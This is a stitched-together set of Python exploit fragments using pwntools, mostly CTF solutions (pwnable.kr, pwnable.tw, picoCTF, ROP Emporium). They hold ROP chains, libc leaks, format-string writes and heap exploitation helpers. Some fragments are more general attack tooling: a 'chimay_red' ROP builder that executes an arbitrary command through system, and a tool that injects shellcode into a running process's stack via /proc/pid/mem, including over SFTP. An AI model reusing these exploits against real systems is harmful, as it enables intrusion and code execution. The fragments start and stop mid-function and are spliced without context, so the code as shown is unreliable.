#!/usr/bin/env python3 from fastpwn import pack, aslr, log from pwn import process, ELF, context, remote, shellcraft, asm from sys import argv debug = 0 if aslr.read(): # enable aslr aslr.write("2") if debug: # set debug context.log_level = 'DEBUG' context(arch='amd64', os='linux') if len(argv) > 1 and argv[1] == "-r": p = remote("pwnable.kr", 9012) else: p = process('./rsa_calculator', env={'LD_LIBRARY_PATH': './'}) libc = ELF('./libc.so.6', checksec=False) ### helper functions def s(x, r=""): p.recvuntil(r) p.sendline(str(x)) if r else p.sendline(str(x)) def key_pair(p, q, e, d): s(1, r=">") s(p, r="p :") s(q, r="q :") s(e, r="e :") s(d, r="d :")
#!/usr/bin/env python3 from pwn import process, ELF, log, context, pause from fastpwn import pack context(arch='amd64', os='linux', log_level='DEBUG') binary = ELF('./lab') p = binary.process() offset = 112 #### define sections of the binary # since PIE is not enabled, these will be static offsets to whichever section we want # we will not pack them, since after they are in bytes we cannot use as decimal offsets :( bss = 0x0804c028 plt = 0x08049030 rel_plt = 0x08048424 dynsym = 0x08048260 dynstr = 0x08048320 #### Important entries within PLT/GOT got_read = 0x0804c010 plt_read = 0x08049050 log.info("") log.warning("continue?") log.info("") pause() log.info(".bss: \t%s" % hex(bss)) log.info(".plt: \t%s" % hex(plt)) log.info(".rel.plt: %s" % hex(rel_plt)) log.info(".dynsym: %s" % hex(dynsym)) log.info(".dynstr: %s" % hex(dynstr)) log.info("GOT entry to read: %s" % hex(got_read)) log.info("PLT entry to read: %s" % hex(plt_read)) stack = 0x300
def startIt(): global p global fmtStr p = process(os.path.join(SCRIPTDIR, fName), buffer_fill_size=0xffff) p.recvuntil("Input: ") fmtStr = FormatString(exec_fmt, elf=elf) logging.basicConfig(level=logging.DEBUG) log = logging.getLogger() fName = "amd64_echoService" elf = ELF(os.path.join(SCRIPTDIR, fName)) startIt() def test_matching(): assert u32(fmtStr[elf.symbols['myVar']]) == get_myVar() def test_change_byte_as_int(): fmtStr.write_b(elf.symbols['myVar'] + 3, 0xbe) assert get_myVar() == 0xbeadbeef assert fmtStr.leak.d(elf.symbols['myVar']) == get_myVar() def test_change_word_as_int(): fmtStr.write_w(elf.symbols['myVar'], 0xf00d)
parents.pop() #normal finish, pop one parents else: print(indent + 'cant branch to black, escape!') print("%s%s" % (indent, parents)) black.extend(parents) print(indent + 'put parents to black') raise 1 #stop all, go to big try part parents.pop() #normal finish, pop one parents print(indent + 'normal return %s, pop parents' % (hex(addr))) #start filename = sys.argv[1] elf = ELF(sys.argv[1]) #to make [name, addr, size] map func_list = list(elf.functions.keys()) #funcname list func_num = len(func_list) map = {} for i in range(func_num): name = func_list[i] addr = elf.symbols[name] if addr % 2 == 1: addr = addr - 1 size = elf.functions[name].size map[addr] = [name, addr, size]
# sub or just plain mov depending on which type of char it is (bad or not) rop = b"A" * 40 for i in range(0, 8): rop += packing.p64(POP_R12_POP_R13_POP_R14_POP_R15_RET ) #gadget to load r12 -> char, r13 -> location in .data rop += packing.p64(filename[i]) #letter of filename rop += packing.p64(data_section_start + i) #location in .data if i in (2, 3, 4, 6): #handle chars 'a', 'g', '.' rop += packing.p64(0x1) rop += packing.p64(data_section_start + i) rop += packing.p64( MOV_R13_R12) #dereference r13, writing char to .data rop += packing.p64(SUB_R15_R14) else: rop += packing.p64(0x0) #r14 rop += packing.p64(0x0) #r15 rop += packing.p64( MOV_R13_R12) #dereference r13, writing char to .data print('\ncalling print_file...\n') # call print_file rop += packing.p64(POP_RDI_RET) rop += packing.p64(data_section_start) rop += packing.p64(PRINT_FILE) e = ELF("badchars") p = process(e.path) p.recvuntil("> ") p.send(rop) p.interactive()
def build_ropchain(self, offsets=None): """ Command Eg. "ls -la" system_chunks = [134512899, 134513152, 134512899, 134512854, 134514868, 134514240, 134512693] ("s", "y", "s", "t", "e", "m", "\x00") cmd_chunks = [134512899, 134513152, 134512899, 134512854, 134514868, 134514240, 134512693] ("l", "s", " ", "-", "l", "a", "\x00") Psuedocode: ----------------------------- char_size = 1 char_pointer = 0 for address in cmd_chunks: rop.call(<strncpy>, args=(<writeable_segment_addr> + char_pointer, address, char_size)) char_pointer += 1 |<<<< rop.call(<dlsym>, args=(0, "system")) | | eax = resultant pointer of dlsym() | |>>>> rop.call(<jmp eax>, args=(<command>)) ----------------------------- """ char_size = 1 cmd_chunks = list() system_chunks = list() if offsets: self._offsets = offsets for gadget_name, gadget in self.offsets.gadgets.items(): if "pivot" in gadget_name: self.binary.asm(gadget.address, "; ".join(gadget.insns)) self.binary.save("/tmp/chimay_red.elf") with context.local(): context.log_level = "WARNING" # Suppress ELF metadata print from pwntools self.rop = ROP([ELF("/tmp/chimay_red.elf")]) ascii_chunks = self.offsets.strings.get("ascii_chunks") if not ascii_chunks: log.critical("Offsets are currently not built!") for char in "system" + "\x00": if ascii_chunks.get(char): system_chunks.append(ascii_chunks[char]) else: log.critical( "Unable to locate enough readable characters in the binary to craft system chunks" ) for char in self.command + "\x00": if ascii_chunks.get(char): cmd_chunks.append(ascii_chunks[char]) else: log.critical( "Unable to locate enough readable characters in the binary to craft desired command" ) for length, address in zip(range(len(system_chunks)), system_chunks): self.rop.call(self.offsets.plt.get("strncpy"), [ self.offsets.strings.get("system") + length, address, char_size ]) # print("EXPLOIT STAGE 1 (SYSTEM CHUNKS): ", hexlify(self.rop.chain())) for length, address in zip(range(len(cmd_chunks)), cmd_chunks): self.rop.call( self.offsets.plt.get("strncpy"), [self.offsets.strings.get("cmd") + length, address, char_size]) # print("EXPLOIT STAGE 2 (CMD CHUNKS): ", hexlify(self.rop.chain())) self.rop.call(self.offsets.plt.get("dlsym"), [0, self.offsets.strings.get("system")]) # print("EXPLOIT STAGE 3 (SYSTEM CHUNKS): ", hexlify(self.rop.chain())) self.rop.call(self.offsets.gadgets.get("jmp_eax"), [self.offsets.strings.get("cmd")]) # print("EXPLOIT 4: ", hexlify(self.rop.chain())) self._chain = self.rop.chain()
#!/usr/bin/env python3 from pwn import context,ELF,process,log from fastpwn import pack, aslr if aslr.read(): aslr.write("2") log.warning("ASLR turned on") context(arch='amd64',os='linux') binary=ELF('./sgc',checksec=False) p=binary.process() libc=ELF('./libc-2.26.so',checksec=False) ## establish helper functions def add(n,g,a): p.recvuntil("Action:") p.sendline("0") p.recvuntil("name:") p.sendline(str(n)) # name p.recvuntil("group:") p.sendline(str(g)) # group name p.recvuntil("age:") p.sendline(str(a)) # age def gdis(n): p.recvuntil("Action:") p.sendline("1") p.recvuntil("name:") p.sendline(str(n)) # name def udis(i): p.recvuntil("Action:") p.sendline("2") p.recvuntil("index:") p.sendline(str(i)) # index def edit(i, n, prop=True):
class ExploitInfo: host = '2018shell2.picoctf.com' port = 27952 name = 'auth' elf = ELF(name)
p.sendline(employee_name) def change_employee(employee_num, employee_new_name): p.recvuntil(b"> ") p.sendline(b"C") p.recvuntil(b"> ") p.sendline("%d" % employee_num) p.recvuntil(b"> ") p.sendline(employee_new_name) p = remote("challenges.ctf.kaf.sh", 8000) #p = process('./shadowstuck', env={"LD_PRELOAD":"./libc-2.31.so"}) libc = ELF('./libc-2.31.so') base_shadowstack = int(p.recvline().split(b'at ')[1][:-1], 16) print("[+] Shadowstack @ 0x%x" % base_shadowstack) add_employee("Mike") #0 fire_employee("Mike", b'a' * 0x10 + pack(base_shadowstack)[:-2]) leak = unpack(read_employee(1).ljust(8, b'\x00')) print("[+] Leak libc @ 0x%x" % leak) libc.address = leak - 159923 print("[+] Libc @ 0x%x" % libc.address) pop_rdi_gadget = libc.address + 0x26b72 change_employee(1, pack(pop_rdi_gadget).rstrip(b'\x00'))
#!/usr/bin/python3 from pwn import remote, ELF, context, pack, unpack context.arch = 'amd64' libc = ELF('./libc.so.6') puts_got_plt = 0x404020 sizeof_quote_t = 48 p = remote('127.0.0.1', 4002) def list_quotes(): p.sendlineafter("Choice number > ", "1") return p.recvuntil("\n-::")[:-4].split(b'\n')[:-1] def add_quote(title, content, title_size=-1, content_size=-1): if content_size < 0: content_size = len(content) if title_size < 0: title_size = len(title) p.sendlineafter("Choice number > ", "2") p.sendlineafter("Title size > ", "%d" % title_size) p.sendlineafter("Content size > ", "%d" % content_size) p.sendlineafter("Title > ", title) p.sendlineafter("Content > ", content) def get_quote(index, pwned=False): p.sendlineafter("Choice number > ", "3")
#!/usr/bin/env python3 from pwn import process, context, ELF, remote, u32, pause from fastpwn import pack, aslr, log from time import sleep from sys import argv if len(argv) > 1 and argv[1] == "-r": p = remote("chall.pwnable.tw", 10101) else: p = process('./dubblesort', env={'LD_LIBRARY_PATH': './'}) context.log_level = 'DEBUG' elf = ELF('./libc_32.so.6', checksec=False) mov_ebx_esp = pack.pk32(0x00000750) # mov ebx, [esp] ; ret n = lambda x: "A" * (x * 4) def s( i, un="" ): # s() func is an idea i got from reading r4j's exploit pocs, great job man :) if un: p.recvuntil(str(un)) p.sendline(str(i)) else: p.sendline(str(i)) #p.interactive() # reason for leak is due to strong not being null terminated # printf will continue to read and write until it reaches a null terminator. # 6 DWORDS is offset to .got.plt leak
from pwn import ELF, context context.arch = 'amd64' binary = ELF("./be-quick-or-be-dead-2") #written based on fib_iterative.txt instructions = """ test edi, edi jle l1 xor edx, edx mov esi, 0x1 xor ecx, ecx jmp l2 nop l3: mov ecx, eax l2: add edx, 0x1 lea eax, [rcx+rsi*1] mov esi, ecx cmp edi, edx jne l3 ret nop l1: xor eax, eax ret """ binary.asm(binary.functions["fib"].address, instructions) fname = "be-quick-or-be-dead-2_patched" binary.save(fname) print(f"saved '{fname}'")
from pwn import process, ELF, ROP, packing, context, gdb context.log_level = 'critical' # enable/disable aslr: echo 2 | sudo tee /proc/sys/kernel/randomize_va_space, echo 0 | sudo tee /proc/sys/kernel/randomize_va_space e = ELF("pivot") l = ELF("libpivot.so") p = process(e.path) r = ROP(e) pid = gdb.attach(p) # opens a new shell for gdb debugging rop_addr = p.recvuntil("> ").split(b":")[1].split(b"\n")[0].lstrip().decode() print("pivot @: " + rop_addr) ''' pop rax; ret xchg rsp, rax; ret allows us to set the stack pointer to anything we want. exploit logic: 1) set stack pointer to 0x7ffff7be4f10 using xchg ---rop chain--- 2) call foothold_function - this updates its entry in the .got.plt table 3) alter .got.plt address of .got.plt to be the address of the ret2win function in libpivot: - pop rax - addr_of_plt_got_foothold_function - mov rax, qword ptr [rax] - pop rbp
###usefulGadgets xlat = 0x400628 pop_rdx_pop_rcx_add_rcx_bextr = 0x40062a stosb = 0x400639 # rop gadgets pop_rdi_ret = 0x4006a3 bss_section_address = 0x601038 print_file = 0x400510 rop = b"\x41" * 40 for i in range(0,8): if i == 0: rax_table_index = 0xb # breakpoint pwnme, 'n' until read call, rax holds 0xb else: # rax value serves as table index during xlat lookup rax_table_index = ord(filename[i-1]) bss_write = [pop_rdx_pop_rcx_add_rcx_bextr, 0x4000, int(actual_locations[i], 16) - rax_table_index - 0x3ef2, xlat, pop_rdi_ret, \ bss_section_address + i, stosb] rop += b"".join([packing.p64(r) for r in bss_write]) print_flag = [pop_rdi_ret, bss_section_address, print_file] rop += b"".join([packing.p64(r) for r in print_flag]) elf = context.binary = ELF("fluff") p = process(elf.path) p.sendline(rop) p.interactive()
def sendExploit( binary_name, properties, remote_server=False, remote_url="", port_num=0, user_input=None, ): send_results = {} # Create local or remote process if remote_server: proc = remote(remote_url, port_num) else: proc = process(binary_name) # Command to send if user_input is None: user_input = properties["pwn_type"]["results"]["input"] if properties["pwn_type"]["results"]["type"] == "leak": leak_input = properties["pwn_type"]["results"]["leak_input"] leak_output = properties["pwn_type"]["results"]["leak_output"] leaked_function = properties["pwn_type"]["results"]["leaked_function"] output_len = len(leak_output) proc.sendline(leak_input) bytes_with_leak = proc.read() if properties["protections"]["arch"] == "amd64": total_leak = bytes_with_leak[output_len:output_len + 8] leaked_val = u64(total_leak[:6] + b"\x00" * 2) # puts won't print null bytes else: total_leak = bytes_with_leak[output_len:output_len + 4] leaked_val = u32(total_leak) # puts won't print null bytes log.info("--- Leak ---") log.info(total_leak) log.info(bytes_with_leak) # leaked_val = u64(total_leak[:6]+b"\x00"*2) # puts won't print null bytes log.info("leak is {}".format(hex(leaked_val))) log.info("leaked function {} found at {}".format( leaked_function, hex(leaked_val))) properties["pwn_type"]["results"][ "leaked_function_address"] = leaked_val if properties.get("libc", None): libc = ELF(properties["libc"]) properties["libc_base_address"] = leaked_val - libc.symbols[ leaked_function] log.info("[+] Leak sets libc address to {}".format( hex(properties["libc_base_address"]))) # Make second stage pwn properties["pwn_type"]["results"] = exploitOverflow( binary_name, properties, inputType=properties["input_type"]) second_stage_input = properties["pwn_type"]["results"]["input"] proc.sendline(second_stage_input) else: proc.sendline(user_input) # If we have a shell, send some commands! proc.sendline() proc.sendline(b"ls;\n") proc.sendline(b"cat *flag*;\n") proc.sendline(b"cat *pass*;\n") # Sometimes the flag is just printed results = proc.recvall(timeout=3) log.debug(results) print(results) send_results["flag_found"] = False if b"{" in results and b"}" in results: send_results["flag_found"] = True log.info("[+] Flag found:") log.info(results) return send_results
8080808080808669: d6 retb 80808080808083b9: 08 00 00 00 00 00 00 00 00 pushcf 0 80808080808083c2: d0 01 00 00 00 80 00 00 00 call read 80808080808083cb: 08 00 a0 a0 a0 a0 a0 a0 a0 pushcf readbuf 80808080808083d4: d0 81 02 00 00 80 00 00 00 call atoi ''' popbrb = 0x8080808080808668 pushfrb = 0x8080808080808059 do_read = 0x80808080808083b9 npc = 0x80808080808083cb npc_align = npc & 7 halt = 0x8080808080808671 e = ELF('../dist/orm') libc = ELF('libc') pay = [ p64(popbrb), p64(0x4141414141414140), # size big enough size) p64(pushfrb), p64(popbrb), p64(npc - npc_align), # buf p64(pushfrb), p64(do_read), p64(halt), ] r = do_rop(True)(pay) ''' Memory Segments
#!/usr/bin/env python3 from pwn import ELF, process, context, log from fastpwn import pack, aslr # custom library :) from sys import argv, exit try: if len(argv) > 1 and argv[1] == "-l": if aslr.read(): aslr.write("2") context(arch='amd64', os='linux', log_level='DEBUG') # binary context binary = ELF("./lab") # define our binary p = binary.process(env={'LD_PRELOAD': './libc.so.6' }) # start our process and define enviroment libc = binary.libc # name our libc object # we can statically find the addresses of the PLT and GOT within the binary # just in case you were too lazy to, here is the pwntools way to do it # # plt_puts=binary.plt['puts'] # got_puts=binary.got['puts'] # main_addr=binary.sym['main'] pop_rdi = pack.pk64(0x00000000004011e3) got_puts = pack.pk64(0x00404018) plt_puts = pack.pk64(0x00401030) main_addr = pack.pk64(0x00401136) offset = 40 leak_payload = b"A" * offset # overwrite ret addr, main ret back to gadget leak_payload += pop_rdi # next we use a gadget, rdi will be the first parameter leak_payload += got_puts # pass the address of the puts() entry on the global offset table leak_payload += plt_puts # then, call puts(), this will actuall call puts leak_payload += main_addr # ret back to main, since we still want to overwrite the buffer again
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import ELF, success from pwn import context, fit, flat from base64 import b64encode import requests import sys import re context.bits = 64 if sys.argv[1] == "l": URL = "http://localhost:1337" libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False) else: URL = "http://199.247.6.180:10000" libc = ELF("./libcd_x64", checksec=False) elf = ELF("./server", checksec=False) def leak(payload): headers = {"User-Agent": payload} params = {"toy": b64encode('fsb\0')} r = requests.get(URL, headers=headers, params=params) l = re.findall(r'''<br>\[GET\] / - (.*)</small></footer></body></html>''', r.text)[0].split('.') canary = int(l[0], 16) success("canary -> {:#x}".format(canary)) stack = int(l[1], 16) >> 12 << 12 success("stack -> {:#x}".format(stack))
#################### #### CONNECTION #### #################### LOCAL = False REMOTETTCP = True REMOTESSH = False GDB = False LOCAL_BIN = "./vuln" REMOTE_BIN = "~/vuln" #For ssh LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it if LOCAL: P = process(LOCAL_BIN) # start the vuln binary ELF_LOADED = ELF(LOCAL_BIN) # Extract data from binary ROP_LOADED = ROP(ELF_LOADED) # Find ROP gadgets elif REMOTETTCP: P = remote('10.10.10.10', 1339) # start the vuln binary ELF_LOADED = ELF(LOCAL_BIN) # Extract data from binary ROP_LOADED = ROP(ELF_LOADED) # Find ROP gadgets elif REMOTESSH: ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='******', port=2220) p = ssh_shell.process(REMOTE_BIN) # start the vuln binary elf = ELF(LOCAL_BIN) # Extract data from binary rop = ROP(elf) # Find ROP gadgets
def getELF(binpath): return ELF(binpath)
u8, p8, u16, p16, u32, p32, u64, p64, ) context.log_level = "debug" context.arch = "amd64" # arch="i386", arch="mips", arch="arm", context.terminal = ["tmux", "split-window", "-v", "-p 75"] LOCAL = True elf = ELF(os.path.realpath("./changeme")) libc = ELF(os.path.realpath("./libc.so")) def gdb_load_symbols_cmd(sym_file, e, base): sec_str = [] for s in e.sections: if not s.name or not s.header.sh_addr: continue sec_addr = base + s.header.sh_addr sec_str.append(f'-s {s.name} 0x{sec_addr:x}') text_addr = e.get_section_by_name('.text').header.sh_addr + base return f'add-symbol-file {sym_file} 0x{text_addr:x} {" ".join(sec_str)} \n' def attach(r):
from pwn import ELF import os import random import string def randstr(n): return ''.join( [random.choice(string.ascii_letters[:-6]) for i in range(n)]) elf = ELF("./chall") symbols = elf.symbols for key in symbols: if len(key) == 0: continue new = "?" * len(key) os.system( "./Mod-ELF-Symbol/mod-elf-symbol -o ./chall -c {} --completestr={} > /dev/null" .format(key, new))
from os import system from pwn import ELF print("compiling") #O2,O1 or the assert will trigger system("gcc -O2 fib_iterative.c -o ./fib_iterative") print("extracting fib") binary = ELF("./be-quick-or-be-dead-2") fib_binary = ELF("./fib_iterative") fib = fib_binary.functions["fib"] assert fib.size < binary.functions[ "fib"].size, "instructions variable must have less machine code than the current fib implementation" print("fib size:", fib.size) with open("fib_iterative.txt", "w") as f: print(fib_binary.disasm(fib.address, fib.size), file=f)
def main(shellcode, delta_stack, dct_args, libs_args, mode): pid = dct_args['pid'] log.info('Analysing /proc/{}/maps on remote/local system'.format(pid)) path_to_maps = '/proc/{}/maps'.format(pid) path_to_mem = '/proc/{}/mem'.format(pid) if 'sftp' in dct_args: sftp = dct_args['sftp'] sftp.get(path_to_maps, '/tmp/maps') path_to_maps = '/tmp/maps' f = open(path_to_maps, 'r') lines = f.readlines() f.close() dct = Maps().gen_dct(lines, libs_args) arch = dct['arch'] for lst in libs_args: if lst[0] not in dct.keys(): log.warning('{} not found'.format(lst[0])) sys.exit(0) pathname = dct[lst[0]]['pathname'] if '[' not in pathname: if 'sftp' in dct_args: sftp.get(pathname, '/tmp/{}'.format(lst[0])) dct[lst[0]]['filepath'] = '/tmp/{}'.format(lst[0]) else: dct[lst[0]]['filepath'] = dct[lst[0]]['pathname'] e = ELF(dct['libc']['filepath']) dct_addrs = {} def add_addr(shift, bytes, name, comment='', shape=''): try: if shape == 'symbol': addr = shift + e.symbols[bytes] else: addr = shift + next(e.search(bytes)) dct_addrs[name] = addr print('[+] {} ; {}'.format(hex(addr), comment)) except: print('[-] {} not found'.format(name)) shift_to_libc = int(dct['libc']['addr_start'], 16) dct_addrs['stack_top_addr'] = int(dct['[stack]']['addr_start'], 16) dct_addrs['stack_both_addr'] = int(dct['[stack]']['addr_end'], 16) add_addr(shift_to_libc, b'mprotect', 'mprotect_addr', 'mprotect', 'symbol') add_addr(shift_to_libc, b'execve', 'execve_addr', 'execve', 'symbol') add_addr(shift_to_libc, b'\xc3', 'ret_addr', 'ret') if arch == 32: add_addr(shift_to_libc, b'\xcd\x80', 'int80h_addr', 'int 0x80') add_addr(shift_to_libc, b'\x61\xc3', 'popa_ret_addr', 'popa; ret') add_addr(shift_to_libc, b'\xff\xd6', 'call_esi_addr', 'call esi') else: add_addr(shift_to_libc, b'\x5f\xc3', 'pop_rdi', 'pop rdi; ret') add_addr(shift_to_libc, b'\x5e\xc3', 'pop_rsi', 'pop rsi; ret') add_addr(shift_to_libc, b'\x5a\xc3', 'pop_rdx', 'pop rdx; ret') if 'sftp' in dct_args: m = sftp.open(path_to_mem, 'w+b') else: m = open(path_to_mem, 'w+b') if m.writable(): log.info('Good, \'r/w\' permissions for /proc/{}/mem'.format(pid)) else: log.warning('Fatal error. No \'r/w\' permissions') m.close() sys.exit(0) real_stack_size = dct_addrs['stack_both_addr'] - dct_addrs['stack_top_addr'] print('[+] real stack size: {}'.format(str(real_stack_size))) stack_size = real_stack_size - delta_stack # new stack print('[+] current stack size: {}'.format(str(stack_size))) new_stack = stack(shellcode, stack_size, dct_addrs, arch, mode) # write stack from start m.seek(dct_addrs['stack_top_addr']) log.info('Pushing new stack to {}'.format(hex(dct_addrs['stack_top_addr']))) sleep(dct_args['sleep']) try: m.write(new_stack) except paramiko.SSHException: log.success('Excellent, the program dropped the connection') sys.exit(0) except paramiko.sftp.SFTPError: log.success('Excellent, the program sent the garbage packet') sys.exit(0) log.info('Not bad, the program is working fine') m.close() sftp.close()
from pwn import context, ELF, gdb, packing, process, ROP e = ELF("ret2csu") p = process(e.path) #gadget 1 = pop_rbp; pop_r12; pop_r13; pop_r14; pop_r15; ret gadget1 = 0x40069b rbx = 0x0 rbp = 0x1 fini = 0x600e48 #doesn't actually call fini it just stores this address to be called at the end so we can fill rdi properly arg1 = 0xdeadbeefdeadbeef #edi arg2 = 0xcafebabecafebabe #rsi arg3 = 0xd00df00dd00df00d #rdx #gadget 2 = mov rdx r15; mov rsi r14; mov edi r13 gadget2 = 0x400680 ret2win = 0x40062a ''' using the provided gadgets in __libc_csu_init we can construct a rop chain to derandomize libc if we want ret2win to be called during call qword ptr [r12+rax*8], then we can set rax as 0x0, and then r12 as the value for ret2win ''' junk = b"A" * 40 chain = [gadget1, rbp, fini, arg1, arg2, arg3, gadget2, 0x0,0x1,0x0,0x0,0x0,0x0,0x0, 0x4006a3, 0xdeadbeefdeadbeef, ret2win] rop = b"".join([packing.p64(r) for r in chain]) p.recvuntil("> ") #input() #debug
p.sendline(s) ret = p.recvuntil("1. Stack Bufferoverflow Bug", drop=True) p.recvuntil("Exit the battle \n") return ret def connect(): global p p = process(elf.file.name, cwd=SCRIPTDIR) p.recvuntil("Exit the battle \n") logging.basicConfig(level=logging.DEBUG) log = logging.getLogger() elf = ELF(os.path.join(SCRIPTDIR, "2017_asis_mary_morton")) connect() def test_win(): winner = 0x4008DA connect() fmtStr = FormatString(exec_fmt, elf=elf, index=6, pad=0, explore_stack=False) fmtStr.write_q(elf.symbols['got.printf'], winner)
def main(): if len(sys.argv) < 2: usage() binary = sys.argv[1] try: elf = ELF(binary) except: myExit("Problem with binary path " + binary) ldPath = None libc = None libcPath = None DEBUG = False REMOTE = False env = {} i = 2 while i < len(sys.argv): opt = sys.argv[i] if opt == Mode.DEBUG: log.debug("Enable gdb mode") DEBUG = True i += 1 elif opt == Mode.REMOTE: try: host = sys.argv[i + 1] port = sys.argv[i + 2] except: myExit("Problem with -r HOST PORT") log.debug("Enable remote connection to ", host, port) REMOTE = True i += 3 elif opt == Mode.LIBC: try: libcVersion = sys.argv[i + 1] except: myExit("Problem with -l PathToLibC") log.debug("Set Library version to", libcVersion) # PATH_CUSTOM_GLIBC = PATH_GLIBC % libcVersion for file in listdir(PATH_LIBS): if file.startswith("ld") and libcVersion in file: ldPath = path.join(PATH_LIBS, file) if file.startswith("libc") and libcVersion in file: libcPath = path.join(PATH_LIBS, file) # libcPath = "/lib/x86_64-linux-gnu/libc-2.27.so" env = {"LD_PRELOAD": libcPath} libc = ELF(libcPath) i += 2 else: myExit("Unknown option only -d -l -ld -r") if not libc: libc = elf.libc if REMOTE: r = remote(host, int(port)) else: if ldPath is None: r = process(binary, env=env) else: r = process([ldPath, binary], env=env) if DEBUG: # Example # bp = [elf.sym["malloc"]] # bp = ["malloc"] debug(r, bp, elf) exploit(r, elf, libc)
#!/usr/bin/env python3 from pwn import process, asm, ELF, context from multiprocessing import Process from numpy import array_split context.log_level = 'error' elf = ELF('./padawanlock') assembly_for_h = asm('mov byte ptr [ebx], 0x48') # Instruction that adds H to the output - must be our entrypoint def brute_force_range(search, pid): # Reversing the caculation # 0x124B base address of jump table # 13 byte difference between the address to which we jump and the instruction that appends the char # address = base + (20 * input) # address - base = 20 * input # (address - base) / 20 = input base = 0x124b count = 0 with open(f"results_{pid}.txt", "w") as output_file: for result in search: address = result - 13 input = (address - base) / 20 input = round(input) p = process("./padawanlock") p.sendline(str(input)) output = p.recvall().decode('ascii') flag = output.split('Unlocked secret is:')[1].strip()
#!/usr/bin/python3 # ./attack.py GDB or ./attack.py # To disable ASLR, run this first: setarch `uname -m` -R /bin/bash from pwn import process, gdb, args, p64, ELF, context, u64 binary = './gym' gs = """ break 118 continue """ e = ELF(binary) END_OF_MENU = "e.g., r 1\n" def malloc(p, size=8): p.sendline(b"m %d" % size) print("m %d" % size) print(p.recvuntil(END_OF_MENU).decode()) def free(p, index): p.sendline(b"f %d" % index) print("free") print(p.recvuntil(END_OF_MENU).decode()) def edit(p, index, content):
frontier = [(list(range(256)), root)] while frontier: values, node = frontier.pop() if node.is_terminal: if node.lo: # node.lo == node.correct return chr(values[0]) continue in_set = [x for x in values if node.lo <= x < node.hi] out_set = [x for x in values if not (node.lo <= x < node.hi)] frontier.append((in_set, node.inside)) frontier.append((out_set, node.outside)) raise ValueError('no node found D:') if __name__ == '__main__': binary = ELF('rabbithole') print(binary) print('[+] FINDING ROOTS') root_addrs = get_roots_addrs(binary) print('[?] roots =', ', '.join(map(hex, root_addrs))) print('[+] FINDING NODES') node_addr_map = get_node_addr_map(binary) print('[?] {} nodes found'.format(len(node_addr_map))) print('[+] GETTING ROOT NODE NAMES') root_names = get_root_node_names(root_addrs, node_addr_map) print('[?] roots =', ', '.join(root_names)) print('[+] DECODING RAW NODES') raw_nodes = load_all_raw_nodes(binary, node_addr_map) print('[?] {} raw nodes decoded'.format(len(raw_nodes))) print('[+] BUILDING NODE TREES') trees = build_trees(raw_nodes, node_addr_map)